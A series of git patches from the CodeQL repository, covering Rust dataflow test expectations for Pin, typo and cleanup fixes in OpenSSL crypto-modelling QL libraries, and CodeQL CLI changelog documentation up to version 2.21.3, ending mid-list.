main.rs:84:29:84:29 | [post] y [&ref] | main.rs:85:33:85:33 | y [&ref] | provenance | | -| main.rs:84:32:84:41 | source(...) | main.rs:84:29:84:29 | [post] y [&ref] | provenance | MaD:7 | -| main.rs:85:33:85:33 | y [&ref] | main.rs:85:18:85:34 | ...::read(...) | provenance | MaD:6 | +| main.rs:84:32:84:41 | source(...) | main.rs:84:29:84:29 | [post] y [&ref] | provenance | MaD:12 | +| main.rs:85:33:85:33 | y [&ref] | main.rs:85:18:85:34 | ...::read(...) | provenance | MaD:11 | +| main.rs:100:13:100:17 | mut i | main.rs:101:34:101:34 | i | provenance | | +| main.rs:100:13:100:17 | mut i | main.rs:102:33:102:33 | i | provenance | | +| main.rs:100:13:100:17 | mut i | main.rs:103:47:103:47 | i | provenance | | | main.rs:100:13:100:17 | mut i | main.rs:105:14:105:14 | i | provenance | | | main.rs:100:21:100:30 | source(...) | main.rs:100:13:100:17 | mut i | provenance | | +| main.rs:101:13:101:20 | mut pin1 [&ref] | main.rs:106:15:106:18 | pin1 [&ref] | provenance | | +| main.rs:101:13:101:20 | mut pin1 [&ref] | main.rs:107:31:107:34 | pin1 [&ref] | provenance | | +| main.rs:101:24:101:35 | ...::new(...) [&ref] | main.rs:101:13:101:20 | mut pin1 [&ref] | provenance | | +| main.rs:101:33:101:34 | &i [&ref] | main.rs:101:24:101:35 | ...::new(...) [&ref] | provenance | MaD:8 | +| main.rs:101:34:101:34 | i | main.rs:101:33:101:34 | &i [&ref] | provenance | | +| main.rs:102:13:102:20 | mut pin2 [&ref] | main.rs:108:15:108:18 | pin2 [&ref] | provenance | | +| main.rs:102:24:102:34 | ...::pin(...) [&ref] | main.rs:102:13:102:20 | mut pin2 [&ref] | provenance | | +| main.rs:102:33:102:33 | i | main.rs:102:24:102:34 | ...::pin(...) [&ref] | provenance | MaD:3 | +| main.rs:103:13:103:20 | mut pin3 [&ref] | main.rs:109:15:109:18 | pin3 [&ref] | provenance | | +| main.rs:103:24:103:49 | ...::into_pin(...) [&ref] | main.rs:103:13:103:20 | mut pin3 [&ref] | provenance | | +| main.rs:103:38:103:48 | ...::new(...) [&ref] | main.rs:103:24:103:49 | ...::into_pin(...) [&ref] | provenance | MaD:1 | +| main.rs:103:47:103:47 | i | main.rs:103:38:103:48 | ...::new(...) [&ref] | provenance | MaD:2 | +| main.rs:106:15:106:18 | pin1 [&ref] | main.rs:106:14:106:18 | * ... | provenance | | +| main.rs:107:15:107:35 | ...::into_inner(...) [&ref] | main.rs:107:14:107:35 | * ... | provenance | | +| main.rs:107:31:107:34 | pin1 [&ref] | main.rs:107:15:107:35 | ...::into_inner(...) [&ref] | provenance | MaD:7 | +| main.rs:108:15:108:18 | pin2 [&ref] | main.rs:108:14:108:18 | * ... | provenance | | +| main.rs:109:15:109:18 | pin3 [&ref] | main.rs:109:14:109:18 | * ... | provenance | | | main.rs:114:13:114:18 | mut ms [MyStruct] | main.rs:119:14:119:15 | ms [MyStruct] | provenance | | | main.rs:114:22:114:49 | MyStruct {...} [MyStruct] | main.rs:114:13:114:18 | mut ms [MyStruct] | provenance | | | main.rs:114:38:114:47 | source(...) | main.rs:114:22:114:49 | MyStruct {...} [MyStruct] | provenance | | @@ -116,7 +141,27 @@ nodes | main.rs:85:33:85:33 | y [&ref] | semmle.label | y [&ref] | | main.rs:100:13:100:17 | mut i | semmle.label | mut i | | main.rs:100:21:100:30 | source(...) | semmle.label | source(...) | +| main.rs:101:13:101:20 | mut pin1 [&ref] | semmle.label | mut pin1 [&ref] | +| main.rs:101:24:101:35 | ...::new(...) [&ref] | semmle.label | ...::new(...) [&ref] | +| main.rs:101:33:101:34 | &i [&ref] | semmle.label | &i [&ref] | +| main.rs:101:34:101:34 | i | semmle.label | i | +| main.rs:102:13:102:20 | mut pin2 [&ref] | semmle.label | mut pin2 [&ref] | +| main.rs:102:24:102:34 | ...::pin(...) [&ref] | semmle.label | ...::pin(...) [&ref] | +| main.rs:102:33:102:33 | i | semmle.label | i | +| main.rs:103:13:103:20 | mut pin3 [&ref] | semmle.label | mut pin3 [&ref] | +| main.rs:103:24:103:49 | ...::into_pin(...) [&ref] | semmle.label | ...::into_pin(...) [&ref] | +| main.rs:103:38:103:48 | ...::new(...) [&ref] | semmle.label | ...::new(...) [&ref] | +| main.rs:103:47:103:47 | i | semmle.label | i | | main.rs:105:14:105:14 | i | semmle.label | i | +| main.rs:106:14:106:18 | * ... | semmle.label | * ... | +| main.rs:106:15:106:18 | pin1 [&ref] | semmle.label | pin1 [&ref] | +| main.rs:107:14:107:35 | * ... | semmle.label | * ... | +| main.rs:107:15:107:35 | ...::into_inner(...) [&ref] | semmle.label | ...::into_inner(...) [&ref] | +| main.rs:107:31:107:34 | pin1 [&ref] | semmle.label | pin1 [&ref] | +| main.rs:108:14:108:18 | * ... | semmle.label | * ... | +| main.rs:108:15:108:18 | pin2 [&ref] | semmle.label | pin2 [&ref] | +| main.rs:109:14:109:18 | * ... | semmle.label | * ... | +| main.rs:109:15:109:18 | pin3 [&ref] | semmle.label | pin3 [&ref] | | main.rs:114:13:114:18 | mut ms [MyStruct] | semmle.label | mut ms [MyStruct] | | main.rs:114:22:114:49 | MyStruct {...} [MyStruct] | semmle.label | MyStruct {...} [MyStruct] | | main.rs:114:38:114:47 | source(...) | semmle.label | source(...) | @@ -136,4 +181,8 @@ testFailures | main.rs:63:22:63:22 | m | main.rs:58:22:58:31 | source(...) | main.rs:63:22:63:22 | m | $@ | main.rs:58:22:58:31 | source(...) | source(...) | | main.rs:85:18:85:34 | ...::read(...) | main.rs:84:32:84:41 | source(...) | main.rs:85:18:85:34 | ...::read(...) | $@ | main.rs:84:32:84:41 | source(...) | source(...) | | main.rs:105:14:105:14 | i | main.rs:100:21:100:30 | source(...) | main.rs:105:14:105:14 | i | $@ | main.rs:100:21:100:30 | source(...) | source(...) | +| main.rs:106:14:106:18 | * ... | main.rs:100:21:100:30 | source(...) | main.rs:106:14:106:18 | * ... | $@ | main.rs:100:21:100:30 | source(...) | source(...) | +| main.rs:107:14:107:35 | * ... | main.rs:100:21:100:30 | source(...) | main.rs:107:14:107:35 | * ... | $@ | main.rs:100:21:100:30 | source(...) | source(...) | +| main.rs:108:14:108:18 | * ... | main.rs:100:21:100:30 | source(...) | main.rs:108:14:108:18 | * ... | $@ | main.rs:100:21:100:30 | source(...) | source(...) | +| main.rs:109:14:109:18 | * ... | main.rs:100:21:100:30 | source(...) | main.rs:109:14:109:18 | * ... | $@ | main.rs:100:21:100:30 | source(...) | source(...) | | main.rs:119:14:119:19 | ms.val | main.rs:114:38:114:47 | source(...) | main.rs:119:14:119:19 | ms.val | $@ | main.rs:114:38:114:47 | source(...) | source(...) | diff --git a/rust/ql/test/library-tests/dataflow/modeled/main.rs b/rust/ql/test/library-tests/dataflow/modeled/main.rs index ec82951affc7..440f3bfd7eec 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/main.rs +++ b/rust/ql/test/library-tests/dataflow/modeled/main.rs @@ -102,11 +102,11 @@ fn test_pin() { let mut pin2 = Box::pin(i); let mut pin3 = Box::into_pin(Box::new(i)); let mut pin4 = pin!(i); - sink(i); // $ hasValueFlow=40 - sink(*pin1); // $ MISSING: hasValueFlow=40 - sink(*Pin::into_inner(pin1)); // $ MISSING: hasValueFlow=40 - sink(*pin2); // $ MISSING: hasValueFlow=40 - sink(*pin3); // $ MISSING: hasValueFlow=40 + sink(i); // $ hasValueFlow=40 + sink(*pin1); // $ hasValueFlow=40 + sink(*Pin::into_inner(pin1)); // $ hasValueFlow=40 + sink(*pin2); // $ hasValueFlow=40 + sink(*pin3); // $ hasValueFlow=40 sink(*pin4); // $ MISSING: hasValueFlow=40 } @@ -116,7 +116,7 @@ fn test_pin() { let mut pin2 = Box::pin(ms.clone()); let mut pin3 = Box::into_pin(Box::new(ms.clone())); let mut pin4 = pin!(&ms); - sink(ms.val); // $ hasValueFlow=41 + sink(ms.val); // $ hasValueFlow=41 sink(pin1.val); // $ MISSING: hasValueFlow=41 sink(Pin::into_inner(pin1).val); // $ MISSING: hasValueFlow=41 sink(pin2.val); // $ MISSING: hasValueFlow=41 From d05d38f00c7f2b97741400f1d06c7461c65e18a1 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 13:48:15 -0400 Subject: [PATCH 211/535] Crypto: Removing unused class field. --- .../AlgorithmInstances/KnownAlgorithmConstants.qll | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll index 2d59f8b98c7a..c4c537a34abc 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/KnownAlgorithmConstants.qll @@ -68,11 +68,11 @@ class KnownOpenSSLHashAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { } class KnownOpenSSLEllipticCurveAlgorithmConstant extends KnownOpenSSLAlgorithmConstant { - string algType; - KnownOpenSSLEllipticCurveAlgorithmConstant() { - resolveAlgorithmFromExpr(this, _, algType) and - algType.toLowerCase().matches("elliptic_curve") + exists(string algType | + resolveAlgorithmFromExpr(this, _, algType) and + algType.toLowerCase().matches("elliptic_curve") + ) } } From 3e54e4d6b6bb6892775134aa599144dc76e858b4 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 13:49:29 -0400 Subject: [PATCH 212/535] Crypto: Fixing typo. --- .../EllipticCurveAlgorithmValueConsumer.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll index 79cddd7613d5..aa08d4ea50e9 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/EllipticCurveAlgorithmValueConsumer.qll @@ -7,11 +7,11 @@ import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances abstract class EllipticCurveValueConsumer extends OpenSSLAlgorithmValueConsumer { } //https://docs.openssl.org/3.0/man3/EC_KEY_new/#name -class EVPEllipticCurveALgorithmConsumer extends EllipticCurveValueConsumer { +class EVPEllipticCurveAlgorithmConsumer extends EllipticCurveValueConsumer { DataFlow::Node valueArgNode; DataFlow::Node resultNode; - EVPEllipticCurveALgorithmConsumer() { + EVPEllipticCurveAlgorithmConsumer() { resultNode.asExpr() = this.(Call) and // in all cases the result is the return isPossibleOpenSSLFunction(this.(Call).getTarget()) and ( From e5641eff234d4911a4b6db3b130850298243fc72 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 13:50:41 -0400 Subject: [PATCH 213/535] Crypto: Typo fix --- .../AlgorithmInstances/EllipticCurveAlgorithmInstance.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll index 802bf8e0168b..2da079b23e41 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll @@ -5,12 +5,12 @@ import OpenSSLAlgorithmInstanceBase import AlgToAVCFlow //ellipticCurveNameToKeySizeAndFamilyMapping(name, size, family) -class KnownOpenSSLEllitpicCurveConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, +class KnownOpenSSLEllipticCurveConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, Crypto::EllipticCurveInstance instanceof KnownOpenSSLEllipticCurveAlgorithmConstant { OpenSSLAlgorithmValueConsumer getterCall; - KnownOpenSSLEllitpicCurveConstantAlgorithmInstance() { + KnownOpenSSLEllipticCurveConstantAlgorithmInstance() { // Two possibilities: // 1) The source is a literal and flows to a getter, then we know we have an instance // 2) The source is a KnownOpenSSLAlgorithm is call, and we know we have an instance immediately from that From 03a6e134ba4020bce6c14393e6ab60349c149e33 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 19 May 2025 13:51:42 -0400 Subject: [PATCH 214/535] Crypto: Removed dead comment. --- .../AlgorithmInstances/EllipticCurveAlgorithmInstance.qll | 1 - 1 file changed, 1 deletion(-) diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll index 2da079b23e41..c5eac8afc897 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmInstances/EllipticCurveAlgorithmInstance.qll @@ -4,7 +4,6 @@ import KnownAlgorithmConstants import OpenSSLAlgorithmInstanceBase import AlgToAVCFlow -//ellipticCurveNameToKeySizeAndFamilyMapping(name, size, family) class KnownOpenSSLEllipticCurveConstantAlgorithmInstance extends OpenSSLAlgorithmInstance, Crypto::EllipticCurveInstance instanceof KnownOpenSSLEllipticCurveAlgorithmConstant { From fce5b4d43e0bf8ecb707473537ee120495a873c8 Mon Sep 17 00:00:00 2001 From: Jon Janego Date: Mon, 19 May 2025 13:55:45 -0500 Subject: [PATCH 215/535] Changedocs for 2.21.3 --- .../codeql-changelog/codeql-cli-2.19.4.rst | 2 +- .../codeql-changelog/codeql-cli-2.20.4.rst | 6 +- .../codeql-changelog/codeql-cli-2.20.5.rst | 8 - .../codeql-changelog/codeql-cli-2.20.6.rst | 7 +- .../codeql-changelog/codeql-cli-2.21.0.rst | 4 +- .../codeql-changelog/codeql-cli-2.21.1.rst | 26 +-- .../codeql-changelog/codeql-cli-2.21.2.rst | 2 +- .../codeql-changelog/codeql-cli-2.21.3.rst | 159 ++++++++++++++++++ .../codeql-changelog/index.rst | 1 + 9 files changed, 186 insertions(+), 29 deletions(-) create mode 100644 docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.3.rst diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst index 754b6d2c4dad..9235d63fe2cf 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.19.4.rst @@ -79,4 +79,4 @@ JavaScript/TypeScript * Added taint-steps for :code:`Array.prototype.toReversed`. * Added taint-steps for :code:`Array.prototype.toSorted`. * Added support for :code:`String.prototype.matchAll`. -* Added taint-steps for :code:`Array.prototype.reverse`. +* Added taint-steps for :code:`Array.prototype.reverse`\ diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst index a5c9c4f222f8..f488198ea3d3 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.4.rst @@ -117,8 +117,8 @@ Java/Kotlin * Deleted the deprecated :code:`isLValue` and :code:`isRValue` predicates from the :code:`VarAccess` class, use :code:`isVarWrite` and :code:`isVarRead` respectively instead. * Deleted the deprecated :code:`getRhs` predicate from the :code:`VarWrite` class, use :code:`getASource` instead. * Deleted the deprecated :code:`LValue` and :code:`RValue` classes, use :code:`VarWrite` and :code:`VarRead` respectively instead. -* Deleted a lot of deprecated classes ending in ``*Access``, use the corresponding ``*Call`` classes instead. -* Deleted a lot of deprecated predicates ending in ``*Access``, use the corresponding ``*Call`` predicates instead. +* Deleted a lot of deprecated classes ending in "*Access", use the corresponding "*Call" classes instead. +* Deleted a lot of deprecated predicates ending in "*Access", use the corresponding "*Call" predicates instead. * Deleted the deprecated :code:`EnvInput` and :code:`DatabaseInput` classes from :code:`FlowSources.qll`, use the threat models feature instead. * Deleted some deprecated API predicates from :code:`SensitiveApi.qll`, use the Sink classes from that file instead. @@ -144,7 +144,7 @@ Ruby * Deleted the deprecated :code:`ModelClass` and :code:`ModelInstance` classes from :code:`ActiveResource.qll`, use :code:`ModelClassNode` and :code:`ModelClassNode.getAnInstanceReference()` instead. * Deleted the deprecated :code:`Collection` class from :code:`ActiveResource.qll`, use :code:`CollectionSource` instead. * Deleted the deprecated :code:`ServiceInstantiation` and :code:`ClientInstantiation` classes from :code:`Twirp.qll`. -* Deleted a lot of deprecated dataflow modules from ``*Query.qll`` files. +* Deleted a lot of deprecated dataflow modules from "*Query.qll" files. * Deleted the old deprecated TypeTracking library. Swift diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst index 855f25655ec6..48d4ff27f0b1 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.5.rst @@ -109,14 +109,6 @@ Python * Fixed a bug in the extractor where a comment inside a subscript could sometimes cause the AST to be missing nodes. * Using the :code:`break` and :code:`continue` keywords outside of a loop, which is a syntax error but is accepted by our parser, would cause the control-flow construction to fail. This is now no longer the case. -Major Analysis Improvements -~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -Golang -"""""" - -* Go 1.24 is now supported. This includes the new language feature of generic type aliases. - Minor Analysis Improvements ~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst index d6b934449252..006aeec5a05c 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.20.6.rst @@ -35,7 +35,7 @@ Bug Fixes GitHub Actions """""""""""""" -* The :code:`actions/unversioned-immutable-action` query will no longer report any alerts, since the Immutable Actions feature is not yet available for customer use. The query remains in the default Code Scanning suites for use internal to GitHub. Once the Immutable Actions feature is available, the query will be updated to report alerts again. +* The :code:`actions/unversioned-immutable-action` query will no longer report any alerts, since the Immutable Actions feature is not yet available for customer use. The query has also been moved to the experimental folder and will not be used in code scanning unless it is explicitly added to a code scanning configuration. Once the Immutable Actions feature is available, the query will be updated to report alerts again. Major Analysis Improvements ~~~~~~~~~~~~~~~~~~~~~~~~~~~ @@ -71,6 +71,11 @@ Language Libraries Major Analysis Improvements ~~~~~~~~~~~~~~~~~~~~~~~~~~~ +Golang +"""""" + +* Go 1.24 is now supported. This includes the new language feature of generic type aliases. + JavaScript/TypeScript """"""""""""""""""""" diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst index aa604d702e75..f48e372f277e 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.0.rst @@ -165,7 +165,7 @@ Java/Kotlin """"""""""" * Java extraction is now able to download Maven 3.9.x if a Maven Enforcer Plugin configuration indicates it is necessary. Maven 3.8.x is still preferred if the enforcer-plugin configuration (if any) permits it. -* Added a path injection sanitizer for calls to :code:`java.lang.String.matches`, :code:`java.lang.String.replace`, and :code:`java.lang.String.replaceAll` that make sure :code:`/`, :code:`\\`, :code:`..` are not in the path. +* Added a path injection sanitizer for calls to :code:`java.lang.String.matches`, :code:`java.lang.String.replace`, and :code:`java.lang.String.replaceAll` that make sure '/', '', '..' are not in the path. JavaScript/TypeScript """"""""""""""""""""" @@ -207,5 +207,5 @@ JavaScript/TypeScript * Intersection :code:`&&` * Subtraction :code:`--` - * :code:`\\q` quoted string + * :code:`\q` quoted string diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst index 2a8e20d84d1f..40587985d9d9 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.1.rst @@ -37,14 +37,6 @@ Bug Fixes Query Packs ----------- -New Features -~~~~~~~~~~~~ - -GitHub Actions -"""""""""""""" - -* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. - Bug Fixes ~~~~~~~~~ @@ -87,6 +79,14 @@ Python * The :code:`py/mixed-tuple-returns` query no longer flags instances where the tuple is passed into the function as an argument, as this led to too many false positives. +New Features +~~~~~~~~~~~~ + +GitHub Actions +"""""""""""""" + +* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. + Language Libraries ------------------ @@ -131,17 +131,17 @@ Ruby New Features ~~~~~~~~~~~~ -GitHub Actions -"""""""""""""" - -* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. - C/C++ """"" * Calling conventions explicitly specified on function declarations (:code:`__cdecl`, :code:`__stdcall`, :code:`__fastcall`, etc.) are now represented as specifiers of those declarations. * A new class :code:`CallingConventionSpecifier` extending the :code:`Specifier` class was introduced, which represents explicitly specified calling conventions. +GitHub Actions +"""""""""""""" + +* CodeQL and Copilot Autofix support for GitHub Actions is now Generally Available. + Shared Libraries ---------------- diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst index 636cf2fe63d5..8d9c20cfbb5c 100644 --- a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.2.rst @@ -108,7 +108,7 @@ Swift """"" * Added AST nodes :code:`ActorIsolationErasureExpr`, :code:`CurrentContextIsolationExpr`, - :code:`ExtractFunctionIsolationExpr` and :code:`UnreachableExpr` that correspond to new nodes added by Swift 6.0. + :code:`ExtracFunctionIsolationExpr` and :code:`UnreachableExpr` that correspond to new nodes added by Swift 6.0. New Features ~~~~~~~~~~~~ diff --git a/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.3.rst b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.3.rst new file mode 100644 index 000000000000..d499f27dcb12 --- /dev/null +++ b/docs/codeql/codeql-overview/codeql-changelog/codeql-cli-2.21.3.rst @@ -0,0 +1,159 @@ +.. _codeql-cli-2.21.3: + +========================== +CodeQL 2.21.3 (2025-05-15) +========================== + +.. contents:: Contents + :depth: 2 + :local: + :backlinks: none + +This is an overview of changes in the CodeQL CLI and relevant CodeQL query and library packs. For additional updates on changes to the CodeQL code scanning experience, check out the `code scanning section on the GitHub blog `__, `relevant GitHub Changelog updates `__, `changes in the CodeQL extension for Visual Studio Code `__, and the `CodeQL Action changelog `__. + +Security Coverage +----------------- + +CodeQL 2.21.3 runs a total of 452 security queries when configured with the Default suite (covering 168 CWE). The Extended suite enables an additional 136 queries (covering 35 more CWE). + +CodeQL CLI +---------- + +Miscellaneous +~~~~~~~~~~~~~ + +* Windows binaries for the CodeQL CLI are now built with :code:`/guard:cf`, enabling `Control Flow Guard `__. + +Query Packs +----------- + +Minor Analysis Improvements +~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +C# +"" + +* Changed the precision of the :code:`cs/equality-on-floats` query from medium to high. + +JavaScript/TypeScript +""""""""""""""""""""" + +* Type information is now propagated more precisely through :code:`Promise.all()` calls, + leading to more resolved calls and more sources and sinks being detected. + +Query Metadata Changes +~~~~~~~~~~~~~~~~~~~~~~ + +C/C++ +""""" + +* The tag :code:`external/cwe/cwe-14` has been removed from :code:`cpp/memset-may-be-deleted` and the tag :code:`external/cwe/cwe-014` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/count-untrusted-data-external-api-ir` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/untrusted-data-to-external-api-ir` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cpp/late-check-of-function-argument` and the tag :code:`external/cwe/cwe-020` has been added. + +C# +"" + +* The tag :code:`external/cwe/cwe-13` has been removed from :code:`cs/password-in-configuration` and the tag :code:`external/cwe/cwe-013` has been added. +* The tag :code:`external/cwe/cwe-11` has been removed from :code:`cs/web/debug-binary` and the tag :code:`external/cwe/cwe-011` has been added. +* The tag :code:`external/cwe/cwe-16` has been removed from :code:`cs/web/large-max-request-length` and the tag :code:`external/cwe/cwe-016` has been added. +* The tag :code:`external/cwe/cwe-16` has been removed from :code:`cs/web/request-validation-disabled` and the tag :code:`external/cwe/cwe-016` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cs/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cs/serialization-check-bypass` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`cs/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-12` has been removed from :code:`cs/web/missing-global-error-handler` and the tag :code:`external/cwe/cwe-012` has been added. + +Golang +"""""" + +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/incomplete-hostname-regexp` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/regex/missing-regexp-anchor` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/suspicious-character-in-regex` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`go/untrusted-data-to-unknown-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-90` has been removed from :code:`go/ldap-injection` and the tag :code:`external/cwe/cwe-090` has been added. +* The tag :code:`external/cwe/cwe-74` has been removed from :code:`go/dsn-injection` and the tag :code:`external/cwe/cwe-074` has been added. +* The tag :code:`external/cwe/cwe-74` has been removed from :code:`go/dsn-injection-local` and the tag :code:`external/cwe/cwe-074` has been added. +* The tag :code:`external/cwe/cwe-79` has been removed from :code:`go/html-template-escaping-passthrough` and the tag :code:`external/cwe/cwe-079` has been added. + +Java/Kotlin +""""""""""" + +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`java/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`java/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-93` has been removed from :code:`java/netty-http-request-or-response-splitting` and the tag :code:`external/cwe/cwe-093` has been added. + +JavaScript/TypeScript +""""""""""""""""""""" + +* The tag :code:`external/cwe/cwe-79` has been removed from :code:`js/disabling-electron-websecurity` and the tag :code:`external/cwe/cwe-079` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`js/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`js/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`js/untrusted-data-to-external-api-more-sources` and the tag :code:`external/cwe/cwe-020` has been added. + +Python +"""""" + +* The tags :code:`security/cwe/cwe-94` and :code:`security/cwe/cwe-95` have been removed from :code:`py/use-of-input` and the tags :code:`external/cwe/cwe-094` and :code:`external/cwe/cwe-095` have been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/count-untrusted-data-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/untrusted-data-to-external-api` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/cookie-injection` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-20` has been removed from :code:`py/incomplete-url-substring-sanitization` and the tag :code:`external/cwe/cwe-020` has been added. +* The tag :code:`external/cwe/cwe-94` has been removed from :code:`py/js2py-rce` and the tag :code:`external/cwe/cwe-094` has been added. + +Ruby +"""" + +* The precision of :code:`rb/useless-assignment-to-local` has been adjusted from :code:`medium` to :code:`high`. +* The tag :code:`external/cwe/cwe-94` has been removed from 